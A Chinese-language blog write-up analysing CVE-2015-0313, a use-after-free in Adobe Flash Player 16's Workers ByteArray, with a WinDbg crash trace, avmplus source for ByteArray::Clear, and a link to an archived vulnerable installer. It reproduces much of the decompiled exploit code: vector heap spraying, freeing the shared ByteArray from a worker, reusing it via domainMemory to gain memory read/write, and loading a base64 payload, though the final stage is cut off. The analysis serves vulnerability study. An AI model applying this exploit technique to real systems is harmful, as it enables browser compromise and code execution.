CVE-2015-0313 Adobe Flash Player Workers ByteArray 释放重引用漏洞

分析ActionScript虚拟机源码辅助漏洞调试

原书ActionScript写错了

环境

win7 sp1 32位
windbg
ida

flash player下载地址

http://download.macromedia.com/pub/flashplayer/installers/archive/fp_16.0.0.296_archive.zip

(建议使用vps下载,国内有可能被劫持)

历史版本页面

https://helpx.adobe.com/cn/flash-player/kb/archived-flash-player-versions.html

下载后安装的是flashplayer16_0r0_296_winax.msi,后来用exe还是不行【我分析个漏洞容易吗】,那我按照不带ax的flashplayer16_0r0_296_win.exe

不用ax的安装包也能崩溃,不过esi看不出是什么来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(d18.908): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05390000 ebx=0452ddc0 ecx=0452db84 edx=773e64f4 esi=05390000 edi=00000000
eip=05390000 esp=0452dbd8 ebp=0452dc08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
05390000 c3 ret
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0452dbd4 73bb20dd bd01f535 00000001 80004001 0x5390000
0452dc08 73bb2315 00000000 0452dc48 73bb3256 corpol!IsNxON+0x3b (FPO: [Non-Fpo])
0452dc14 73bb3256 0452dc20 00000000 00000000 corpol!RbFreePermissionTreeData+0x10 (FPO: [Non-Fpo])
0452dc48 73bb3589 0452dcc8 0452ddc0 0452dc74 corpol!GetActivePolicy+0x35f (FPO: [Non-Fpo])
0452dd44 755f3660 0452ddc0 00000001 0452df18 corpol!CORPolicyProvider+0x2a1 (FPO: [Non-Fpo])
0452de60 755f269e 00000000 00000000 00000000 wintrust!I_IsUnsignedPEFile+0x8d6 (FPO: [Non-Fpo])
0452de7c 76f7adcc 00000000 0452df80 0452df18 wintrust!WinVerifyTrust+0x52 (FPO: [Non-Fpo])
0452de94 76f7bd71 00000000 0452df80 0452df18 urlmon!Cwvt::WinVerifyTrust+0x1d (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvtp.h @ 58]
0452dfa4 76f7c1cb 0000064c 00000000 00000002 urlmon!Cwvt::InvokeWinVerifyTrust+0x3cd (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 897]
0452e394 76f8055e 0000064c 0019026a 05fb1f58 urlmon!Cwvt::VerifyTrust+0x110 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 495]
0452fc48 76f774a5 76f775f2 0452fce8 00000000 urlmon!CDownload::VerifyTrust+0x172 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\dl.cxx @ 786]
0452fc4c 76f775f2 0452fce8 00000000 00000113 urlmon!CCDLPacket::Process+0x68 (FPO: [0,0,0]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 540]
0452fc5c 76f7764c 03eb7fc0 00000000 0452fc98 urlmon!CCDLPacketMgr::TimeSlice+0x78 (FPO: [0,0,4]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 331]
0452fc6c 76e386ef 00000000 00000113 00007549 urlmon!CDL_PacketProcessProc+0x2c (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 58]
0452fc98 76e39363 76f77620 00000000 00000113 USER32!InternalCallWinProc+0x23
0452fd10 76e38f6f 00000000 76f77620 00000000 USER32!UserCallWinProc+0xe0 (FPO: [Non-Fpo])
0452fd68 76e38e9c 0452fd90 00000000 0452fdf0 USER32!DispatchMessageWorker+0x13d (FPO: [Non-Fpo])
0452fd78 6ac604a6 0452fd90 00000000 0187cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0452fdf0 6ac70446 0585a808 00000000 032d6ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452 (FPO: [Non-Fpo])
0452fea8 75ef49bd 0187cf58 00000000 0452fec4 IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0452feb8 77541174 032d6ff0 0452ff04 773fb3f5 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0452fec4 773fb3f5 032d6ff0 715e9a99 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0452ff04 773fb3c8 75ef49af 032d6ff0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0452ff1c 00000000 75ef49af 032d6ff0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
0:005> ub 73bb20dd
corpol!IsNxON+0x24:
73bb20c6 ff156010bb73 call dword ptr [corpol!_imp__VirtualAlloc (73bb1060)]
73bb20cc 8bf0 mov esi,eax
73bb20ce 8975e4 mov dword ptr [ebp-1Ch],esi
73bb20d1 3bf7 cmp esi,edi
73bb20d3 7433 je corpol!IsNxON+0x66 (73bb2108)
73bb20d5 c606c3 mov byte ptr [esi],0C3h
73bb20d8 897dfc mov dword ptr [ebp-4],edi
73bb20db ffd6 call esi
0:005> !heap -p -a esi

我们还是跟着作者的思路分析去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class Main extends Sprite
{


private var ov:Vector.<Object>;

private var uv:Vector.<uint>;

private var ba:ByteArray;

private var worker:Worker;

private var mc:MessageChannel;

private var b64:Base64Decoder;

private var payload:String = "";

public function Main()
{
ov = new Vector.<Object>(25600);
uv = new Vector.<uint>();
ba = new ByteArray();
b64 = new Base64Decoder();
super();
if(Worker.current.isPrimordial)
{
mainThread();
}
else
{
workerThread();
}
}

private function mainThread() : void
{
var _loc1_:* = 0;
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh);
payload = b64.toByteArray().toString();
ba.length = 4096;
ba.shareable = true;
_loc1_ = uint(0);
while(_loc1_ < ov.length)
{
ov[_loc1_] = new Vector.<Object>(1014);
ov[_loc1_][0] = ba;
ov[_loc1_][1] = this;
_loc1_++;
}
_loc1_ = uint(0);
while(_loc1_ < ov.length)
{
delete ov[_loc1_];
_loc1_ = uint(_loc1_ + 2);
}
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes); //创建后台worker
mc = worker.createMessageChannel(Worker.current);
mc.addEventListener("channelMessage",onMessage); //事件监听函数
worker.setSharedProperty("mc",mc);
worker.setSharedProperty("ba",ba);
ApplicationDomain.currentDomain.domainMemory = ba; //将ByteArrary对象设置为全局可用
worker.start();
}

worker进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function workerThread() : void
{
var _loc3_:ByteArray = Worker.current.getSharedProperty("ba"); //获得共享对象
var _loc2_:MessageChannel = Worker.current.getSharedProperty("mc");
_loc3_.clear(); //释放
ov[0] = new Vector.<uint>(1022);
_loc2_.send(""); //发消息给主线程,促发onMessage函数
while(_loc2_.messageAvailable)
{
}
ov[0][0] = ov[0][1027] - 24 - 4096;
_loc3_.length = 5242880;
var _loc1_:uint = vector_read(vector_read(ov[0][1032] - 1 + 64) + 8) + 1048576;
var _loc5_:uint = ov[0][1033] - 1;
var _loc4_:uint = vector_read(_loc5_);
vector_write(vector_read(ov[0][1032] - 1 + 64) + 8);
vector_write(vector_read(ov[0][1032] - 1 + 64) + 16,4294967295);
_loc2_.send(ov[0][0].toString() + "/" + _loc1_.toString() + "/" + _loc5_.toString() + "/" + _loc4_.toString());
}

onMessage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private function onMessage(param1:Event) : void
{
var _loc7_:* = null;
var _loc2_:* = 0;
var _loc12_:* = 0;
var _loc8_:* = 0;
var _loc4_:* = 0;
var _loc11_:* = 0;
var _loc3_:* = 0;
var _loc5_:* = 0;
var _loc6_:* = 0;
var _loc10_:* = 0;
var _loc9_:* = 0;
casi32(0,1022,4294967295); //这里是重引用,对domainMemory[0]
if(ba.length != 4294967295)
{
mc.receive();
}
else
{
ba.endian = "littleEndian";
_loc7_ = (mc.receive() as String).split("/");
byte_write(parseInt(_loc7_[0]));
_loc2_ = uint(parseInt(_loc7_[1]) as uint);
。。。。。。
。。。。。。
。。。。。。

接下来简单看看AVM的源码:https://github.com/adobe-flash/avmplus

Source Insight 打开后,搜索ByteArray

我们看看cpp,在左边函数窗口搜索clear即可定位到clear函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void ByteArray::Clear()
{
if (m_subscribers.length() > 0)
{
AvmAssert(false); // shouldn't get here?
m_toplevel->throwRangeError(kInvalidRangeError);
}
if (IsShared()) {
ByteArrayClearTask task(this);
task.run(); //核心点
}
else {
UnprotectedClear();
}
}

这里调用的task.run,我们继续跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class ByteArrayClearTask: public ByteArrayTask
{
public:
ByteArrayClearTask(ByteArray* ba)
: ByteArrayTask(ba)
{
}

void run()
{
// safepoints cannot survive exceptions
TRY(m_core, kCatchAction_Rethrow)
{
m_byteArray->UnprotectedClear(); //实际调用的是这里
}
CATCH(Exception* e)
{
m_exception = e;
}
END_CATCH;
END_TRY;
}
};

我们在函数列表搜一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 void ByteArray::UnprotectedClear()
{
if (m_buffer->array && !IsCopyOnWrite())
{
AvmAssert(m_buffer->capacity > 0);
// Note that TellGcXXX always expects capacity, not (logical) length.
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);
}
m_buffer->array = NULL;
m_buffer->capacity = 0;
m_buffer->length = 0; // 3个清空的操作,假如再次使用那么就会崩溃了
#if defined(VMCFG_TELEMETRY_SAMPLER) && defined(DEBUGGER)
if (m_gc->GetAttachedSampler())
{
((IMemorySampler *)m_gc->GetAttachedSampler())->recordObjectReallocation(this);
}
#endif
m_copyOnWriteOwner = NULL;
}

其实后面作者就是通过查找到函数在ocx文件中的偏移,下对应的条件断点,可观察到从存在到被清空,到重引用的数据

自愿打赏专区